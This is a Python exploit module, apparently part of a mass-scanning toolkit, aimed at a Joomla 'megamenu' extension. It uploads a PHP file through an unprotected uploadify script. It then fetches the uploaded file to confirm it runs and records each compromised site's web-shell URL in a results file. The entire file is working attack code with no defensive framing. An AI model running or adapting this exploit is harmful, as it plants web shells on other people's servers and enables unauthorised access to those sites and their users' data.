# coding=utf-8
import requests
from Exploits import printModule

Headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0'
}

def Exploit(site):
    try:
        PostFile = {
            'Filedata': open('files/up.php', 'rb')
        }
        requests.post('http://' + site + '/modules/megamenu/uploadify/uploadify.php?folder=modules/megamenu/uploadify/"',
                      files=PostFile, timeout=10, headers=Headers)
        CheckShell = requests.get('http://' + site + '/modules/megamenu/uploadify/up.php')
        if 'Vuln!!' in str(CheckShell.content):
            with open('result/Shell_results.txt', 'a') as writer:
                writer.write(site + '/modules/megamenu/uploadify/up.php' + '\n')
            return printModule.returnYes(site, 'N/A', 'megamenu Module', 'Joomla')
        else:
            return printModule.returnNo(site, 'N/A', 'megamenu Module', 'Joomla')
    except:
        return printModule.returnNo(site, 'N/A', 'megamenu Module', 'Joomla')
